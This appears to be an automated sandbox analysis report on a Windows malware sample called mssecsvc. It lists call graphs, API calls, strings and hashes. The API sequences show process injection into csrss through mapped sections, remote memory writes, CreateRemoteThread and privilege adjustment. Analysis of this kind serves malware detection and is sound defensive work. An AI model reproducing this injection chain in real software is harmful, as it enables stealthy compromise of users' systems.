2853->2857 2856 b93f54 2854->2856 2855->2853 2858 b910ce 2 API calls 2856->2858 2857->2848 2859 b93f7e 2858->2859 2860 b93f8f 28 API calls 2859->2860 2861 b93f83 2860->2861 2862 b93ffa CreateEventA 2861->2862 2863 b93fd3 CreateThread CloseHandle 2861->2863 2870 b94012 2862->2870 2863->2862 2864 b94056 lstrlen 2864->2864 2864->2870 2865 b94320 RtlExitUserThread 2866 b942d0 SetEvent 2866->2870 2867 b942f2 Sleep ResetEvent 2867->2870 2868 b940ef GetVersionExA 2868->2870 2869 b94178 11 API calls 2869->2870 2870->2864 2870->2865 2870->2866 2870->2867 2870->2868 2870->2869 2871 b941a7 CreateThread CloseHandle 2870->2871 2872 b941f6 GetTickCount 2870->2872 2873 b94288 Sleep 2870->2873 2871->2870 2872->2870 2873->2870 2874 b94294 GetTickCount 2873->2874 2874->2870 3061 b93d4b GetProcAddress LoadLibraryA 2875->3061 2951 b926d4 2912->2951 2915 b93d1f 149 API calls 2916 b93d12 GetProcAddress LoadLibraryA 2915->2916 2918 b910ce 2 API calls 2916->2918 2919 b93d7d 2918->2919 2920 b93d92 GetTickCount 2919->2920 2921 b93daa 2920->2921 2922 b93e47 GetVolumeInformationA 2921->2922 2923 b93e7a 2922->2923 2924 b93f25 2923->2924 2953 b93eb5 LoadLibraryA 2923->2953 2926 b93f4f 2924->2926 2927 b93f31 CreateThread CloseHandle 2924->2927 2981 b93f60 LoadLibraryA 2926->2981 2927->2926 2952 b926c8 GetSystemDirectoryA 2951->2952 2952->2915 2999 b93ecc GetProcAddress GetModuleFileNameA 2953->2999 2982 b93f7e 2981->2982 2983 b910ce 2 API calls 2981->2983 2984 b93f8f 28 API calls 2982->2984 2983->2982 2985 b93f83 2984->2985 2986 b93ffa CreateEventA 2985->2986 2987 b93fd3 CreateThread CloseHandle 2985->2987 2993 b94012 2986->2993 2987->2986 2988 b94056 lstrlen 2988->2988 2988->2993 2989 b94320 RtlExitUserThread 2990 b942d0 SetEvent 2990->2993 2991 b942f2 Sleep ResetEvent 2991->2993 2992 b940ef GetVersionExA 2992->2993 2993->2988 2993->2989 2993->2990 2993->2991 2993->2992 2994 b94178 11 API calls 2993->2994 2995 b941a7 CreateThread CloseHandle 2993->2995 2996 b941f6 GetTickCount 2993->2996 2997 b94288 Sleep 2993->2997 2994->2993 2995->2993 2996->2993 2997->2993 2998 b94294 GetTickCount 2997->2998 2998->2993 3000 b93efd 2999->3000 3001 b93f25 3000->3001 3024 b93405 3000->3024 3003 b93f4f 3001->3003 3004 b93f31 CreateThread CloseHandle 3001->3004 3005 b93f60 43 API calls 3003->3005 3004->3003 3006 b93f54 3005->3006 3007 b910ce 2 API calls 3006->3007 3008 b93f7e 3007->3008 3033 b93f8f LoadLibraryA 3008->3033 3025 b9343b 3024->3025 3025->3025 3026 b93440 NtOpenSection 3025->3026 3027 b9344e 3026->3027 3028 b9345f NtQuerySystemInformation 3027->3028 3032 b935f3 3027->3032 3029 b9346f MapViewOfFile CloseHandle 3028->3029 3031 b934b0 3029->3031 3029->3032 3030 b934b7 UnmapViewOfFile 3030->3032 3031->3030 3031->3032 3032->3001 3034 b93f9d 3033->3034 3035 b94320 RtlExitUserThread 3033->3035 3036 b910ce 2 API calls 3034->3036 3037 b93fb5 3036->3037 3037->3035 3038 b93fd4 CreateThread CloseHandle 3037->3038 3039 b93ffa CreateEventA 3038->3039 3045 b94012 3039->3045 3040 b94056 lstrlen 3040->3040 3040->3045 3041 b942d0 SetEvent 3041->3045 3042 b942f2 Sleep ResetEvent 3042->3045 3043 b940ef GetVersionExA 3043->3045 3045->3035 3045->3040 3045->3041 3045->3042 3045->3043 3046 b941a7 CreateThread CloseHandle 3045->3046 3047 b941f6 GetTickCount 3045->3047 3048 b94288 Sleep 3045->3048 3050 b94178 3045->3050 3046->3045 3047->3045 3048->3045 3049 b94294 GetTickCount 3048->3049 3049->3045 3060 b94012 3050->3060 3051 b941a7 CreateThread CloseHandle 3051->3060 3052 b941f6 GetTickCount 3052->3060 3053 b94320 RtlExitUserThread 3054 b942d0 SetEvent 3054->3060 3055 b942f2 Sleep ResetEvent 3055->3060 3056 b94056 lstrlen 3056->3056 3056->3060 3057 b94288 Sleep 3058 b94294 GetTickCount 3057->3058 3057->3060 3058->3060 3059 b940ef GetVersionExA 3059->3060 3060->3051 3060->3052 3060->3053 3060->3054 3060->3055 3060->3056 3060->3057 3060->3059 3062 b93d7d 3061->3062 3063 b910ce 2 API calls 3061->3063 3064 b93d92 GetTickCount 3062->3064 3063->3062 3065 b93daa 3064->3065 3066 b93e47 GetVolumeInformationA 3065->3066 3067 b93e7a 3066->3067 3068 b93f25 3067->3068 3069 b93eb5 84 API calls 3067->3069 3070 b93f4f 3068->3070 3071 b93f31 CreateThread CloseHandle 3068->3071 3072 b93ea9 3069->3072 3074 b93f60 43 API calls 3070->3074 3071->3070 3072->3068 3073 b93efd 3072->3073 3075 b93eca GetModuleFileNameA 3072->3075 3073->3068 3077 b93405 5 API calls 3073->3077 3076 b93f54 3074->3076 3075->3073 3078 b910ce 2 API calls 3076->3078 3077->3068 3079 b93f7e 3078->3079 3080 b93f8f 28 API calls 3079->3080 3081 b93f83 3080->3081 3082 b93ffa CreateEventA 3081->3082 3083 b93fd3 CreateThread CloseHandle 3081->3083 3090 b94012 3082->3090 3083->3082 3084 b94056 lstrlen 3084->3084 3084->3090 3085 b94320 RtlExitUserThread 3086 b942d0 SetEvent 3086->3090 3087 b942f2 Sleep ResetEvent 3087->3090 3088 b940ef GetVersionExA 3088->3090 3089 b94178 11 API calls 3089->3090 3090->3084 3090->3085 3090->3086 3090->3087 3090->3088 3090->3089 3091 b941a7 CreateThread CloseHandle 3090->3091 3092 b941f6 GetTickCount 3090->3092 3093 b94288 Sleep 3090->3093 3091->3090 3092->3090 3093->3090 3094 b94294 GetTickCount 3093->3094 3094->3090

                      Executed Functions

                      Function 00B9042D Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 290memoryCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 0 b9042d-b904a4 call b910ce 3 b904dd 0->3 4 b904a6-b904db call b9273c GetModuleHandleA 0->4 5 b904e4-b90509 call b92750 GetVersion 3->5 4->5 10 b905ca-b905d1 5->10 11 b9050f-b90530 VirtualAlloc 5->11 12 b905a9-b90615 CloseHandle GetModuleHandleA call b910ce 10->12 14 b905d3-b905fc SetProcessAffinityMask call b905f2 10->14 11->12 13 b90532-b90562 call b90305 11->13 26 b90617-b90630 12->26 13->12 27 b90564-b9057b 13->27 20 b905fe-b9061c 14->20 21 b90621-b90630 14->21 20->21 28 b90639-b90652 21->28 29 b90632 21->29 26->28 26->29 27->12 34 b9057d-b905a4 27->34 28->12 30 b90658-b90671 28->30 29->28 30->12 31 b90677-b90690 30->31 31->12 33 b90696-b9069c 31->33 35 b906d8-b906de 33->35 36 b9069e-b906b1 33->36 34->12 48 b905a4 call b905ba 34->48 39 b906fc-b90715 lstrcpyW call b924ae 35->39 40 b906e0-b906f3 35->40 36->12 38 b906b7-b906bd 36->38 38->35 41 b906bf-b906d2 38->41 46 b9074c-b90775 NtMapViewOfSection 39->46 47 b90717-b90746 GetPEB lstrcpyW lstrcatW call b924ae 39->47 40->39 42 b906f5 40->42 41->12 41->35 42->39 46->12 50 b9077b-b9078f call b90305 NtOpenProcessToken 46->50 47->12 47->46 48->12 54 b90791-b907a3 call b9115d call b907ac 50->54 55 b907c5-b907e4 CreateToolhelp32Snapshot Process32First 50->55 65 b9080e-b9080f 54->65 66 b907a5 54->66 57 b907eb-b907f5 Process32Next 55->57 59 b90865-b90872 CloseHandle 57->59 60 b907f7-b907fb 57->60 59->12 60->57 62 b907fd-b9080d OpenProcess 60->62 62->57 64 b9080f 62->64 67 b90810-b90818 call b92574 64->67 65->67 66->67 69 b907a7-b907c4 66->69 72 b9081a-b90820 67->72 73 b9085c-b90863 CloseHandle 67->73 69->55 72->73 74 b90822-b90832 72->74 73->57 74->73 75 b90834-b9084b CreateRemoteThread 74->75 75->73 76 b9084d-b90857 call b905ba 75->76 76->73
                      APIs
                      • GetModuleHandleA.KERNEL32(00000000), ref: 00B904BE
                      • GetVersion.KERNEL32 ref: 00B90500
                      • VirtualAlloc.KERNEL32(00000000,000077C4,08001000,00000040), ref: 00B90528
                      • CloseHandle.KERNEL32(?), ref: 00B905AD
                      Strings
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Handle$AllocCloseModuleVersionVirtual
                      • String ID: \BaseNamedObjects\lqstVt$\BaseNamedObjects\lqstVt$csrs
                      • API String ID: 3017432202-3423658125
                      • Opcode ID: f53364e35ad258b2cfadf3600a51cc8e4599913c1daad19b1407e8756720751c
                      • Instruction ID: 3ecb5c06af7c7dccdf1e43d6c234edc292d30a93a3e77d3a2e79302e418aca34
                      • Opcode Fuzzy Hash: f53364e35ad258b2cfadf3600a51cc8e4599913c1daad19b1407e8756720751c
                      • Instruction Fuzzy Hash: DDB1B931625249FFEF21AF24C84ABAA3BEDEF55310F1100A9E9089E181C7F49F45DB59
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B905F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 78 b905f2-b90615 GetModuleHandleA call b910ce 81 b905a9-b905b3 CloseHandle 78->81 82 b90617-b90630 78->82 81->78 83 b90639-b90652 82->83 84 b90632 82->84 83->81 85 b90658-b90671 83->85 84->83 85->81 86 b90677-b90690 85->86 86->81 87 b90696-b9069c 86->87 88 b906d8-b906de 87->88 89 b9069e-b906b1 87->89 91 b906fc-b90715 lstrcpyW call b924ae 88->91 92 b906e0-b906f3 88->92 89->81 90 b906b7-b906bd 89->90 90->88 93 b906bf-b906d2 90->93 97 b9074c-b90775 NtMapViewOfSection 91->97 98 b90717-b90746 GetPEB lstrcpyW lstrcatW call b924ae 91->98 92->91 94 b906f5 92->94 93->81 93->88 94->91 97->81 100 b9077b-b9078f call b90305 NtOpenProcessToken 97->100 98->81 98->97 104 b90791-b907a3 call b9115d call b907ac 100->104 105 b907c5-b907e4 CreateToolhelp32Snapshot Process32First 100->105 115 b9080e-b9080f 104->115 116 b907a5 104->116 107 b907eb-b907f5 Process32Next 105->107 109 b90865-b90872 CloseHandle 107->109 110 b907f7-b907fb 107->110 109->81 110->107 112 b907fd-b9080d OpenProcess 110->112 112->107 114 b9080f 112->114 117 b90810-b90818 call b92574 114->117 115->117 116->117 119 b907a7-b907c4 116->119 122 b9081a-b90820 117->122 123 b9085c-b90863 CloseHandle 117->123 119->105 122->123 124 b90822-b90832 122->124 123->107 124->123 125 b90834-b9084b CreateRemoteThread 124->125 125->123 126 b9084d-b90857 call b905ba 125->126 126->123
                      APIs
                      • CloseHandle.KERNEL32(?), ref: 00B905AD
                      • GetModuleHandleA.KERNEL32(00B905EC), ref: 00B905F2
                      • lstrcpyW.KERNEL32(\BaseNamedObjects\lqstVt,\BaseNamedObjects\lqstVt), ref: 00B9070A
                      • lstrcpyW.KERNEL32(\BaseNamedObjects\lqstVt,?), ref: 00B9072D
                      • lstrcatW.KERNEL32(\BaseNamedObjects\lqstVt,\lqstVt), ref: 00B9073B
                      • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,000077C4,00000000,?,00000002,00000000,00000040), ref: 00B9076B
                      • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 00B90786
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B907C9
                      • Process32First.KERNEL32 ref: 00B907DC
                      • Process32Next.KERNEL32 ref: 00B907ED
                      • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B90805
                      • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00B90842
                      • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B9085D
                      • CloseHandle.KERNEL32 ref: 00B9086C
                      Strings
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Handle$Close$CreateOpenProcessProcess32lstrcpy$FirstModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                      • String ID: \BaseNamedObjects\lqstVt$\BaseNamedObjects\lqstVt$csrs
                      • API String ID: 1545766225-3423658125
                      • Opcode ID: 8bbbc4b532c64ff2f8146403b8f5fa0ae95bf63088fb34e7f3916cc504cf2abc
                      • Instruction ID: 605b2db57cc6d8b49a936feb8f753512b5d7019e4d743321f1b42ad3d4ced59b
                      • Opcode Fuzzy Hash: 8bbbc4b532c64ff2f8146403b8f5fa0ae95bf63088fb34e7f3916cc504cf2abc
                      • Instruction Fuzzy Hash: D171AC31614109FFEF21AF50CC8AAAE3BEDEF59310F1100B9E9099E091C7B59F059B59
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B9116F Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 323libraryCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 181 b9116f-b91187 LoadLibraryA call b91196 184 b91189 181->184 185 b911f2 181->185 186 b911f4-b911f8 184->186 187 b9118b-b91192 184->187 185->186 188 b911f9-b9120f 186->188 187->188 189 b91194-b911a0 187->189 190 b911ef 188->190 191 b91211-b91215 188->191 192 b911c9-b911d8 189->192 193 b911a2-b911b9 189->193 195 b9125f-b91277 190->195 196 b911f1 190->196 197 b9127f-b91282 191->197 198 b91217-b9121e 191->198 204 b911bb-b911c7 192->204 205 b911da-b911dc 192->205 193->204 196->185 201 b91283-b91286 197->201 202 b911e0-b911ec 198->202 203 b91220-b91230 198->203 206 b91287-b912a1 201->206 202->190 210 b9123f-b9125c 203->210 204->192 205->202 212 b912a3-b912a4 206->212 210->195 213 b912a7-b912aa 212->213 215 b912f9 213->215 216 b912ac-b912ad 213->216 218 b912db-b912dd 215->218 219 b912fb-b91301 215->219 216->197 217 b912af-b912bd 216->217 217->210 226 b912bf 217->226 218->197 221 b912df-b912e1 218->221 219->212 223 b91303-b91305 219->223 224 b912c3-b912c5 221->224 225 b912e3-b912e5 221->225 229 b91337-b91339 223->229 230 b91307-b91309 223->230 227 b91327-b91329 224->227 228 b912c7-b912c9 224->228 225->230 231 b912e7-b912e9 225->231 226->224 235 b9136b-b9136d 227->235 236 b9132b-b9132d 227->236 232 b9130b-b9130d 228->232 233 b912cb-b912cd 228->233 229->236 239 b9133b-b9133d 229->239 230->232 234 b9131b 230->234 237 b9127b 231->237 238 b912eb-b912ed 231->238 241 b9136f-b91371 232->241 242 b9130f-b91311 232->242 233->197 240 b912cf-b912d1 233->240 234->227 235->241 243 b9138f 235->243 236->217 244 b9132f-b91331 236->244 237->197 245 b9135f-b91361 238->245 246 b912ef-b912f1 238->246 247 b913af-b913b0 239->247 248 b9133f-b91345 239->248 240->201 250 b912d3-b912d5 240->250 252 b91313-b91315 241->252 255 b91373-b91375 241->255 251 b91383 242->251 242->252 249 b91393-b9139e 243->249 244->225 256 b91333-b91335 244->256 245->223 254 b91363-b91364 245->254 246->254 257 b912f3-b912f5 246->257 253 b913c7-b913d5 247->253 259 b91387-b9138e 248->259 260 b91347-b91349 248->260 261 b9139f-b913a7 249->261 250->213 262 b912d7 250->262 251->259 252->213 263 b91317-b91319 252->263 272 b913f7-b913f9 253->272 273 b913d7-b913e5 253->273 264 b912f7-b912f8 254->264 265 b91367-b91369 254->265 255->253 266 b91377-b91379 255->266 256->229 256->260 257->206 257->264 259->243 260->239 267 b9134b-b9134d 260->267 268 b913ab-b913ac 261->268 262->218 263->234 263->267 264->215 265->235 265->239 266->268 270 b9137b-b9137d 266->270 267->221 271 b9134f-b91355 267->271 268->247 274 b913ed-b913f6 270->274 275 b9137f-b91382 270->275 271->264 282 b91357-b91359 271->282 276 b9145b-b91474 NtAdjustPrivilegesToken 272->276 277 b913fb-b913fd 272->277 273->272 279 b913e7-b913e9 273->279 274->272 275->251 277->261 281 b913ff-b91401 277->281 279->276 283 b913eb-b913ec 279->283 281->249 284 b91403-b91404 281->284 282->236 285 b9135b-b9135d 282->285 283->274 287 b9141f 284->287 288 b91407-b9140a 284->288 285->245 285->271 287->276 288->287
                      APIs
                      • LoadLibraryA.KERNEL32(00B91162,00B90796,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B9116F
                        • Part of subcall function 00B91196: GetProcAddress.KERNEL32(00000000,00B91180), ref: 00B91197
                      Strings
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressLibraryLoadProc
                      • String ID: \lqstVt
                      • API String ID: 2574300362-1399249642
                      • Opcode ID: f893b7552c8ea40a327c243a6d9a3266c19c1778095ba7786dc13d4eb24228e3
                      • Instruction ID: 2179b33ded218dda686db0e3b292154bfae2dc131a50b23676ae4e0b275fbc51
                      • Opcode Fuzzy Hash: f893b7552c8ea40a327c243a6d9a3266c19c1778095ba7786dc13d4eb24228e3
                      • Instruction Fuzzy Hash: AD814761C1D2836FDF31BB7C48454A9BFF6EA2275071C5EFDC4A19BA53C2228D03A649
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B9252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 289 b9252f-b92573 NtOpenSection
                      APIs
                      • NtOpenSection.NTDLL(?,0000000E), ref: 00B9255E
                      Strings
                      • \BaseNamedObjects\lqstVt, xrefs: 00B9254B
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: OpenSection
                      • String ID: \BaseNamedObjects\lqstVt
                      • API String ID: 1950954290-1900414526
                      • Opcode ID: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                      • Instruction ID: cc492c20b74137972e1aeb42a549193fdcd5baff80c1f90c3202c4eb3a6ea2fd
                      • Opcode Fuzzy Hash: 070b698a65d812778bebda462e03455ac2d4d74c25fc029a23958a9dd811b266
                      • Instruction Fuzzy Hash: A1E0DFF1342105BAFB288B19CC07FB7220DCBC0600F048604F918DA090E6F4AF104278
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B92574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 290 b92574-b9257c call b9252f 293 b92661-b92664 290->293 294 b92582-b925b4 NtMapViewOfSection FindCloseChangeNotification 290->294 294->293 295 b925ba-b925c0 294->295 296 b925ce-b925d8 295->296 297 b925c2-b925cb 295->297 298 b925da-b925e2 296->298 299 b925ef-b9262a call b92477 * 3 296->299 297->296 298->299 301 b925e4-b925ea call b92477 298->301 308 b9262c-b92632 call b92477 299->308 309 b92637-b9263f 299->309 301->299 308->309 311 b9264c-b92654 309->311 312 b92641-b92647 call b92477 309->312 311->293 314 b92656-b9265c call b92477 311->314 312->311 314->293
                      APIs
                        • Part of subcall function 00B9252F: NtOpenSection.NTDLL(?,0000000E), ref: 00B9255E
                      • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B7C4,00000000,?,00000002,00100000,00000040), ref: 00B925A4
                      • FindCloseChangeNotification.KERNELBASE(00000000,0000B7C4,00000000,?,00000002,00100000,00000040,00000000,0000B7C4,00000000,?,00B90815), ref: 00B925AC
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Section$ChangeCloseFindNotificationOpenView
                      • String ID:
                      • API String ID: 1694706092-0
                      • Opcode ID: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                      • Instruction ID: 145636fd03ff67e7fbb2180c05d61f0a0de84b1f73a5b83d74b92730fac800b9
                      • Opcode Fuzzy Hash: 7e6d81ae67240a40e11905e7904a542b9946b97cc322a4af05470e0a41c17acf
                      • Instruction Fuzzy Hash: 87212C70B00546BBDF24DF25CC56FA973A9EF90744F400168F9198E2E4DBB1AE24C718
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B91422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 316 b91422-b91474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                      APIs
                      • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00B9145A
                      • NtAdjustPrivilegesToken.NTDLL(?,?,00000000,?), ref: 00B9146A
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                      • String ID:
                      • API String ID: 3615134276-0
                      • Opcode ID: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                      • Instruction ID: ddbff97e699881e74d61e2820170bd54818263a6fff0c1519b9bac5ac29647fb
                      • Opcode Fuzzy Hash: 4d961b29825b6918877cf0b8ca3bbdf1a1a783037955428b050f6265267c3a26
                      • Instruction Fuzzy Hash: 5BF0AE36542510BBD7205F56CD8EED77F28EF533A0F144556F4484E151C2624BA5D3F4
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B92477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 317 b92477-b924ad NtProtectVirtualMemory NtWriteVirtualMemory
                      APIs
                      • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 00B9249B
                      • NtWriteVirtualMemory.NTDLL ref: 00B924A4
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: MemoryVirtual$ProtectWrite
                      • String ID:
                      • API String ID: 151266762-0
                      • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                      • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                      • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                      • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B9144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 318 b9144a-b91474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                      APIs
                      • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00B9145A
                      • NtAdjustPrivilegesToken.NTDLL(?,?,00000000,?), ref: 00B9146A
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                      • String ID:
                      • API String ID: 3615134276-0
                      • Opcode ID: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                      • Instruction ID: ee32c209e3d0a2de55b6acbdbca8a3d00d8b73f2470e3acbbab87dcaf3c2c19a
                      • Opcode Fuzzy Hash: f45ad7484d04f34a0af0f423c52b42987f710650b5115a9fa6d287fad7b05342
                      • Instruction Fuzzy Hash: F2D06731643034BBD6312A568C0EEE77D1DEF577A0F015041F9089A1A1C5A28EA1C7F5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00B907AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 128 b907ac-b907bf call b9144a FreeLibrary FindCloseChangeNotification 131 b907c5-b907e4 CreateToolhelp32Snapshot Process32First 128->131 132 b907eb-b907f5 Process32Next 131->132 133 b90865-b90872 CloseHandle 132->133 134 b907f7-b907fb 132->134 135 b905a9-b90615 CloseHandle GetModuleHandleA call b910ce 133->135 134->132 136 b907fd-b9080d OpenProcess 134->136 144 b90617-b90630 135->144 136->132 137 b9080f 136->137 139 b90810-b90818 call b92574 137->139 145 b9081a-b90820 139->145 146 b9085c-b90863 CloseHandle 139->146 147 b90639-b90652 144->147 148 b90632 144->148 145->146 149 b90822-b90832 145->149 146->132 147->135 150 b90658-b90671 147->150 148->147 149->146 151 b90834-b9084b CreateRemoteThread 149->151 150->135 152 b90677-b90690 150->152 151->146 153 b9084d-b90857 call b905ba 151->153 152->135 154 b90696-b9069c 152->154 153->146 156 b906d8-b906de 154->156 157 b9069e-b906b1 154->157 159 b906fc-b90715 lstrcpyW call b924ae 156->159 160 b906e0-b906f3 156->160 157->135 158 b906b7-b906bd 157->158 158->156 161 b906bf-b906d2 158->161 165 b9074c-b90775 NtMapViewOfSection 159->165 166 b90717-b90746 GetPEB lstrcpyW lstrcatW call b924ae 159->166 160->159 162 b906f5 160->162 161->135 161->156 162->159 165->135 168 b9077b-b9078f call b90305 NtOpenProcessToken 165->168 166->135 166->165 168->131 172 b90791-b907a3 call b9115d call b907ac 168->172 177 b9080e-b9080f 172->177 178 b907a5 172->178 177->139 178->139 179 b907a7-b907c4 178->179 179->131
                      APIs
                        • Part of subcall function 00B9144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00B9145A
                        • Part of subcall function 00B9144A: NtAdjustPrivilegesToken.NTDLL(?,?,00000000,?), ref: 00B9146A
                      • CloseHandle.KERNEL32(?), ref: 00B905AD
                      • FreeLibrary.KERNEL32(76DF0000,?,00B9079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B907B8
                      • FindCloseChangeNotification.KERNELBASE(?,?,00B9079B,00000000,000077C4,00000000,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B907BF
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B907C9
                      • Process32First.KERNEL32 ref: 00B907DC
                      • Process32Next.KERNEL32 ref: 00B907ED
                      • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B90805
                      • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003C38,00000002,00000000), ref: 00B90842
                      • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,000077C4), ref: 00B9085D
                      • CloseHandle.KERNEL32 ref: 00B9086C
                      Strings
                      Memory Dump Source
                      • Source File: 00000009.00000002.507795866.0000000000B90000.00000040.10000000.00040000.00000000.sdmp, Offset: 00B90000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_9_2_b90000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: Close$Handle$CreateProcess32$AdjustChangeFindFirstFreeLibraryLookupNextNotificationOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                      • String ID: csrs
                      • API String ID: 2727238916-2321902090
                      • Opcode ID: 214ed8d877d5af5bdcbfeb92dfaf8d9be1786541dc830f75d8708442990ea625
                      • Instruction ID: 443d1d48afbaf0e1edeccc3bb929a005ee6fe5b36196ef6723c459044b540bbc
                      • Opcode Fuzzy Hash: 214ed8d877d5af5bdcbfeb92dfaf8d9be1786541dc830f75d8708442990ea625
                      • Instruction Fuzzy Hash: 76113030611205BFEF256F21CC8EBBF3AADEF54711F0000BCF94A99091D6B49F019A6A
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Non-executed Functions

                      Function 00B93C3D Relevance: 33.7, APIs: 17, Strings: 2, Instructions: 487libraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
